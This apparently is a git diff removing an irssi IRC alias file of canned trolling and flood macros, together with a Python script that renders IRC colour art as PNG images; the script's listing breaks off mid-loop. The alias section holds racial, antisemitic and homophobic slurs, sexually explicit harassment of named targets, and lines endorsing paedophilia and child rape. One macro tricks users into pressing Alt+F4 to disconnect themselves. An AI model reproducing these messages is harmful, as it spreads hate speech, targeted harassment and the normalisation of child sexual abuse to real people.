nazi = "say hey $* are you unemployed and do get Hartz IV? Are you haesslig, stupid and do speak incomprehensible German? Is mummy asozial and lets itself on the Alkis be slammed at the kiosk to depend all day long? Are you a Zoni? Was Omi gebumst by the Russians? And do you hold yourself despite everything for something special? Do you think nevertheless that you the gentleman race belong? yes? THEN YOU ARE a SCHEIss NEO-NAZI AND SHOULD FROM the NEXT BRIDGE SPRINGN!";
|
||||
attn15 = "say \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003 \0037\037$*\037 \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003";
|
||||
qping = "quote ping :88";
|
||||
blood = "say \0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERI";
|
||||
coliform = "say \002\00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 R";
|
||||
ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
|
||||
l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
|
||||
turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
|
||||
idetect = "say ]\002IsraelDetect\002(\037tM\037)[ \0034WARNING\003 The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
|
||||
butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
|
||||
girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
|
||||
incog2 = "say there is nothing wrong with being a paedophile $*";
|
||||
incog3 = "say there is nothing wrong with raping children";
|
||||
urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
|
||||
urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
|
||||
stratx = "say \00311,2sut the fuck u";
|
||||
ppeace4l = "say it's all over now nm";
|
||||
gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno \0039\037D\037efficiency \00312\037S\037yndrome \00313\037/\\\\";
|
||||
yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
|
||||
yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
|
||||
hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
|
||||
oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
|
||||
illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
|
||||
illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
|
||||
aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
|
||||
wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
|
||||
coco = "say \002\00311,4 Make friends with the coconut niggers.";
|
||||
fat = "say \0039_|/_ \002 ROLLIN FATTIES NON STOP";
|
||||
huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
|
||||
quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
|
||||
cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI <<<";
|
||||
huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
|
||||
ny = "say I ((_)::::::D ~ NY";
|
||||
poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
|
||||
poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
|
||||
gnus = "say \002G\002nu: \002N\002early \002U\002seless";
|
||||
dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
|
||||
fagge = "say \0038,13 $* FAGGOT ";
|
||||
hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
|
||||
avi = "say my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz. You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke.";
|
||||
die1 = "say \00311A\00309L\00308B\00304E\00313R\00312T\00311O \00309G\00308O\00304N\00313Z\00312A\00311L\00309E\00308S \00304T\00313O\00312O\00311K \00309B\00308R\00304I\00313B\00312E \00311F\00309R\00308O\00304M \00313A\00312K \00311S\00309T\00308E\00304E\00313L \00312H\00311O\00309L\00308D\00304I\00313N\00312G \00311T\00309O \00308E\00304N\00313D\00312O\00311R\00309S\00308E \00304T\00313H\00312E \00311W\00309A\00308R \00304O\00313N \00312D\00311R\00309U\00308G\00304S\00313,, \00312S\00311A\00309Y\00308S \00304P\00313E\00312T\00311A\00309'\00308S \00304A\00313N\00312I\00311M\00309A\00308L \00304T\00313I\00312M\00311E\00309S";
|
||||
die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
|
||||
huhuh = "say |¯_¯?¯_¯|¯_¯=¯_¯|¯_¯?¯_¯|";
|
||||
racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
|
||||
lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger I run dot slash configure, yo this package is big but my package is bigger\"]";
|
||||
hetero = "say Warning! Heterosexual activities create children. To avoid heterosexual activity you may be especially polite or well-groomed.";
|
||||
porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
|
||||
shitheap = "say $* -> \002Shitheap\002";
|
||||
lolleat = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
|
||||
dj = "say Ja.";
|
||||
dn = "say Nein.";
|
||||
dm = "say Mu.";
|
||||
dlf = "say Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
|
||||
jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4 \0030,1 T \0030,4 H \0030,1 E \0030,4 \0030,1 J \0030,4 E \0030,1 W \0030,4 \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1 \0030,4 T \0030,1 H \0030,4 E \0030,1 \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
|
||||
free = "say \0031,7FREE REISER";
|
||||
boat = "say \\\\\0378=================D\037/ \002COCKBOAT";
|
||||
ussboat = "say /\0378=================D\037/ \002USS COCKBOAT";
|
||||
arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
|
||||
fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
|
||||
ruin = "say EFFORTLESS RUIN";
|
||||
LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
|
||||
D8 = "say \0035,4o o o oo _.=._ o \0031,8('<\0033,9$$$$$$$$$$$$$\003\002";
|
||||
christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
|
||||
buttes = "say #buttes is the cool place to hang out. You can find most of the cool people there. In #buttes you can just chill and do whatever and totally relax. \"Take it easy\" is the #buttes motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
|
||||
quite = "say \0034Ï… \0037Ñ<37> \0038α\0039â„“\00312â„“ \00313\037Ñ‚\037\0034Ñ<34>\0037Ï…\0038â„“\0039Ñ”\00312у \00313\037ι\037\0034и\0037¢\0038Ñ<38>\0039Ñ”\00312∂\00313\037ι\037\0034в\0037â„“\0038Ñ”\0039! \00312ι \00313\037н\037\0034α\0037ν\0038Ñ” \0039и\00312Ñ”\00313\037ν\037\0034α \0037Ñ”\0038ν\0039α \00312м\00313\037Ñ”\037\0034Ñ‚ \0037α \0038g\0039Ñ<39>\00312σ\00313\037Ï…\037\0034Ï<34> \0037σ\0038f \0039Ï<39>\00312Ï<32>\00313\037â„“\037 \0034q\0037Ï…\0038ι\0039Ñ‚\00312Ñ” \00313\037â„“\037у\0034к \0037Ï… \0038â„“\0039σ\00312Ñ‚\00313\037!\037";
|
||||
quite2 = "say \0034D\0037Ñ”\0038Ñ•\0039Ñ•\00312ι\00313\037м\037α\0034Ñ‚\0037σ\0038Ñ<38> \0039Ï…\00312Ñ<32> \00313\037Ñ‚\037\0034Ñ<34>\0037Ï…\0038â„“\0039Ñ”\00312у \00313\037ι\037\0034и\0037¢\0038Ñ<38>\0039Ñ”\00312∂\00313\037ι\037\0034в\0037â„“\0038Ñ”\0039! \00312ι \00313\037н\037\0034α\0037ν\0038Ñ” \0039и\00312Ñ”\00313\037ν\037\0034α \0037Ñ”\0038ν\0039α \00312м\00313\037Ñ”\037\0034Ñ‚ \0037α \0038g\0039Ñ<39>\00312σ\00313\037Ï…\037\0034Ï<34> \0037σ\0038f \0039Ï<39>\00312Ï<32>\00313\037â„“\037 \0034q\0037Ï…\0038ι\0039Ñ‚\00312Ñ” \00313\037â„“\037у\0034к \0037Ï… \0038â„“\0039σ\00312Ñ‚\00313\037!\037 ";
|
||||
rage = "say \002I AM SO ENRAGED RIGHT NOW. HOW DARE YOU DISPARAGE $*. $* HAS NOT FAILED ME ONCE, EVER";
|
||||
cry = "say ಠ_ಠ";
|
||||
fir3 = "say \0034,9$*";
|
||||
oclet = "say shutup zitface";
|
||||
fire1 = "say girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to the next level of ecstacy";
|
||||
fire2 = "say girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
|
||||
fire3 = "say girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
|
||||
fire4 = "say girl i will play with those nipples gently like tchaikovsky played the sweet melodies on grand piano";
|
||||
fire5 = "say girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
|
||||
49 = "exec - -o perl ~/.irssi/scripts/stand/4994.pl $* 2>/dev/null";
|
||||
melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039> \0034,9srsly it is a delicious fruit";
|
||||
lolle10 = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
|
||||
vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
|
||||
vp8 = "say \0034\\;\0039) \0034:\0039D \0034:\0039P";
|
||||
lolle11 = "say \0033â–‘\0039â–’\0034â–“\0034,4 \0031,4$*\0034,4 \017\0034â–“\0039â–’\0033â–‘";
|
||||
cry2 = "say Ω_Ω";
|
||||
tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
|
||||
cry3 = "say ๑_๑";
|
||||
cry4 = "say Û©_Û©";
|
||||
cry5 = "say Ûž_Ûž";
|
||||
dikky = "say HY DIKKY HEARTIEZ THE NORD FROM NORWAY LIVING IN A FJORD";
|
||||
wm = "window move";
|
||||
depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
|
||||
gnaddy = "say It was gnaddy in the channel, we have installed several xdcc bots with the latest warez, porn, and mp3s! Just type !list !gimmiewarez !gimmiemp3s or !gimmieporn. Invite 25 people to #politics and get voice! Invite 100 to get more people in the ghetto.";
|
||||
viol = "say $1, $2- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
|
||||
malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
|
||||
vp9 = "say \0038+\0030:\0038]";
|
||||
vap0r20 = "say \0034:\0033)";
|
||||
vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
|
||||
f1re3 = "say \0030>\0030,4:)";
|
||||
lolhy = "exec - -out perl -le 'do { print ( rand > .5 ? \"LOL\" : \"HY\" ) } for 1..25\\;'";
|
||||
ballsac6 = "say $* u think ur cool insulting people on the internet but irl i think ur a 28 yo pansy bitchboi so u beta not mess wid me cuz im a real dangerous \037real man\037 and i'll beat u up so bad ur momy wont recognise ur face";
|
||||
ballsac7 = "say $*: To save channel resources, please type \002\037all\037\002 of your messages in a text file before joining the channel. You can then paste the messages using Ctrl+C to copy and Alt+F4 to paste. Thank you for your participation in conserving scarce bandwidth. You can download a fast and reliable text editor at http://txtedit.on.nimp.org/\\; if you have any questions, we have a handy query form at http://www.pasteplace.net/u?1234 ";
|
||||
emo2 = "part $C why are you guys so mean to each other all the time. it's obnoxious and i'm never coming here again.";
|
||||
care = "say care-meter\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003 \003140%";
|
||||
blogc = "say [ Add a comment to this blog entry ]";
|
||||
screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
|
||||
hate = "say \0039,13i'm a grown up now and should be held accountable for my own actions, so i have decided to take \"hating u\" off my list of things to fill my day with.. besides, i still like you a whole little lot, just not as much, to be able to do that efficiently..";
|
||||
dontread = "say PLEASE DON T READ THIS. YOU WILL GET KISSED ON THE NEAREST POSSIBLE FRIDAY BY THE LOVE OF YOOR LIFE. TOMORROW WILL BE THE BEST DAY OF YOUR LIFE. HOWEVER IF YOU DON T POST THIS COMMENT TO AT LEAST 3 VIDEOS YOU WILL DIE WITHIN 2 DAYS. NOW UV STARTED READIN DIS DUNT STOP THIS IS SO SCARY. SEND THIS OVER TO 5 VIDEOS IN 143 MINUTS WHEN UR DONE PRESS F6 AND UR CRUSHES NAME";
|
||||
dau-greet = "dau --parse_special --bracket --color -split capitals -codes 'light red\\; light cyan' hi @ @nicks";
|
||||
ballsac8 = "say $* sht up an dont act smrt if i wish i can b 100000x smrtr than u so sht up";
|
||||
ulol = "say ╔╗╔â•<C3A2>╦╗;say ║╚╣║║╚╗;say â•šâ•<C3A2>â•©â•<C3A2>â•©â•<C3A2>â•<C3A2>";
|
||||
attn16 = "say \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\00313!\0038\\\\\003 \002$*\002 \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\0034G\0037R\0039I\00312D\0036S\0038\\\\";
|
||||
zub1 = "say \0030-\0034:\00314|";
|
||||
zub2 = "say \00314|\0034:\0030-";
|
||||
hulkm = "say rage-meter for \002$*\002\037:\037 \00314[\0039||||||||||||||\00314] \002\037\0039HULKIN'";
|
||||
ragem = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314] \002\037\0034HARD RAGE";
|
||||
ragem2 = "say \0030,1 $* MADNESS LEVEL [ \0030,1 ] what the fuck? CALM AND PEACEFUL;say \0030,1 $* MADNESS LEVEL [\0039===- \0030,1 ] RELAXED;say \0030,1 $* MADNESS LEVEL [\0039====\0038===- \0030,1 ] NOT SO ANGRY;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037===- \0030,1 ] ANGRY AT YOU LOLF;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037====\0034===--\0030,1]\0034-OFF DA SCALE LOL (buffar overrun)";
|
||||
emo3 = "say $Z <$0> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the evil \037SAND NIGGER TROLL\037 going by the name of \002\037$N\037\002. Please consider this cry of help when $N is around you, I am so upset I could only eat two lunches today. Thank you for your time. ";
|
||||
funnym = "say lolometer for \037$*\037's comment: \0030[\0034|\00314|||||||||||||\0030] \0034\037PENNYARCADE\037\003 ";
|
||||
suicide = "say suicide-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]\0034||||\003\002Segm\0034|\003n\0034|\003ation\0034|\003fault";
|
||||
crym = "say Cry-Meter for \037$*\037: \0030[\00311||||||||||||||\0030]\003 \00311\037WAAAAAAAAAAAAAAAAAAAAH";
|
||||
ballsac9 = "say ********** I GAVE $* NUMEROUS CHANCES TO CHANGE HIMSELF FOR THE BETTER. HE'S CROSSED THE LIMITS OF MY PATIENCE AND TOLERANCE. I HAVE NO OTHER CHOICE: \002I HAVE PUT HIM ON IGNORE FOR THE REST OF HIS LIFE\002. BEING PUT ON IGNORE OL IS >>>>> BEING IGNORED IRL. SORRY, BUT I HAVE TO RETAIN MY SANITY********************************************";
|
||||
trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
|
||||
pign3 = "say Before you listen to any more drivel by $*, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is $*. I won't even get into discussion about his child pornography. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new areems when it comes to being totally useless.; say Not to mention all he ever does is kiss timecop's ass and talk about shit no one cares. Do the world a favor and type /ignore $*";
|
||||
worthm = "worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0034|\00314|||||||||||||\0030] \0034\037BLOG";
|
||||
};
|
1782
irc/alias/vap0r.conf
1782
irc/alias/vap0r.conf
File diff suppressed because it is too large
Load Diff
166
irc/ascii2png.py
166
irc/ascii2png.py
@ -1,166 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Scroll IRC Art Bot - Developed by acidvegas in Python (https://acid.vegas/scroll)
|
||||
# ascii2png.py
|
||||
|
||||
'''
|
||||
Credits to VXP for making the original "pngbot" script (https://github.com/lalbornoz/MiRCARTools)
|
||||
'''
|
||||
|
||||
import os
|
||||
import urllib.request
|
||||
|
||||
from PIL import Image, ImageDraw, ImageFont
|
||||
|
||||
def flip_cell_state(cellState, bit):
|
||||
if cellState & bit:
|
||||
return cellState & ~bit
|
||||
else:
|
||||
return cellState | bit
|
||||
|
||||
def parse_char(colourSpec, curColours):
|
||||
if len(colourSpec) > 0:
|
||||
colourSpec = colourSpec.split(',')
|
||||
if len(colourSpec) == 2 and len(colourSpec[1]) > 0:
|
||||
return (int(colourSpec[0] or curColours[0]), int(colourSpec[1]))
|
||||
elif len(colourSpec) == 1 or len(colourSpec[1]) == 0:
|
||||
return (int(colourSpec[0]), curColours[1])
|
||||
else:
|
||||
return (15, 1)
|
||||
|
||||
def ascii_png(url):
|
||||
text_file = os.path.join('data','temp.txt')
|
||||
if os.path.isfile(text_file):
|
||||
os.remove(text_file)
|
||||
urllib.request.urlretrieve(url, text_file)
|
||||
data = open(text_file)
|
||||
inCurColourSpec = ''
|
||||
inCurRow = -1
|
||||
inLine = data.readline()
|
||||
inSize = [0, 0]
|
||||
inMaxCols = 0
|
||||
outMap = []
|
||||
while inLine:
|
||||
inCellState = 0x00
|
||||
inParseState = 1
|
||||
inCurCol = 0
|
||||
inMaxCol = len(inLine)
|
||||
inCurColourDigits = 0
|
||||
inCurColours = (15, 1)
|
||||
inCurColourSpec = ''
|
||||
inCurRow += 1
|
||||
outMap.append([])
|
||||
inRowCols = 0
|
||||
inSize[1] += 1
|
||||
while inCurCol < inMaxCol:
|
||||
inChar = inLine[inCurCol]
|
||||
if inChar in set('\r\n'):
|
||||
inCurCol += 1
|
||||
elif inParseState == 1:
|
||||
inCurCol += 1
|
||||
if inChar == '':
|
||||
inCellState = flip_cell_state(inCellState, 0x01)
|
||||
elif inChar == '':
|
||||
inParseState = 2
|
||||
elif inChar == '':
|
||||
inCellState = flip_cell_state(inCellState, 0x02)
|
||||
elif inChar == '':
|
||||
inCellState |= 0x00
|
||||
inCurColours = (15, 1)
|
||||
elif inChar == '':
|
||||
inCurColours = (inCurColours[1], inCurColours[0])
|
||||
elif inChar == '':
|
||||
inCellState = flip_cell_state(inCellState, 0x04)
|
||||
else:
|
||||
inRowCols += 1
|
||||
outMap[inCurRow].append([*inCurColours, inCellState, inChar])
|
||||
elif inParseState == 2 or inParseState == 3:
|
||||
if inChar == ',' and inParseState == 2:
|
||||
if (inCurCol + 1) < inMaxCol and not inLine[inCurCol + 1] in set('0123456789'):
|
||||
inCurColours = parse_char(inCurColourSpec, inCurColours)
|
||||
inCurColourDigits = 0
|
||||
inCurColourSpec = ''
|
||||
inParseState = 1
|
||||
else:
|
||||
inCurCol += 1
|
||||
inCurColourDigits = 0
|
||||
inCurColourSpec += inChar
|
||||
inParseState = 3
|
||||
elif inChar in set('0123456789') and inCurColourDigits == 0:
|
||||
inCurCol += 1
|
||||
inCurColourDigits += 1
|
||||
inCurColourSpec += inChar
|
||||
elif inChar in set('0123456789') and inCurColourDigits == 1 and inCurColourSpec[-1] == '0':
|
||||
inCurCol += 1
|
||||
inCurColourDigits += 1
|
||||
inCurColourSpec += inChar
|
||||
elif inChar in set('012345') and inCurColourDigits == 1 and inCurColourSpec[-1] == '1':
|
||||
inCurCol += 1
|
||||
inCurColourDigits += 1
|
||||
inCurColourSpec += inChar
|
||||
else:
|
||||
inCurColours = parse_char(inCurColourSpec, inCurColours)
|
||||
inCurColourDigits = 0
|
||||
inCurColourSpec = ''
|
||||
inParseState = 1
|
||||
inMaxCols = max(inMaxCols, inRowCols)
|
||||
inLine = data.readline()
|
||||
inSize[0] = inMaxCols
|
||||
canvas_data = outMap
|
||||
numRowCols = 0
|
||||
for numRow in range(len(outMap)):
|
||||
numRowCols = max(numRowCols, len(outMap[numRow]))
|
||||
for numRow in range(len(outMap)):
|
||||
if len(outMap[numRow]) != numRowCols:
|
||||
for numColOff in range(numRowCols - len(outMap[numRow])):
|
||||
outMap[numRow].append([1,1,0,' '])
|
||||
outMap[numRow].insert(0,[1,1,0,' '])
|
||||
outMap[numRow].append([1,1,0,' '])
|
||||
outMap.insert(0,[[1,1,0,' ']] * len(outMap[0]))
|
||||
outMap.append([[1,1,0,' ']] * len(outMap[0]))
|
||||
inCanvasMap = outMap
|
||||
outImgFont = ImageFont.truetype(os.path.join('data','DejaVuSansMono.ttf'), 11)
|
||||
outImgFontSize = [*outImgFont.getsize(' ')]
|
||||
outImgFontSize[1] += 3
|
||||
ColorsBold = [[255,255,255],[85,85,85],[85,85,255],[85,255,85],[255,85,85],[255,85,85],[255,85,255],[255,255,85],[255,255,85],[85,255,85],[85,255,255],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[255,255,255]]
|
||||
ColorsNormal = [[255,255,255],[0,0,0],[0,0,187],[0,187,0],[255,85,85],[187,0,0],[187,0,187],[187,187,0],[255,255,85],[85,255,85],[0,187,187],[85,255,255],[85,85,255],[255,85,255],[85,85,85],[187,187,187]]
|
||||
inSize = (len(inCanvasMap[0]), len(inCanvasMap))
|
||||
outSize = [a*b for a,b in zip(inSize, outImgFontSize)]
|
||||
outCurPos = [0, 0]
|
||||
outImg = Image.new('RGBA', outSize, (*ColorsNormal[1], 255))
|
||||
outImgDraw = ImageDraw.Draw(outImg)
|
||||
for inCurRow in range(len(inCanvasMap)):
|
||||
for inCurCol in range(len(inCanvasMap[inCurRow])):
|
||||
inCurCell = inCanvasMap[inCurRow][inCurCol]
|
||||
outColours = [0, 0]
|
||||
if inCurCell[2] & 0x01:
|
||||
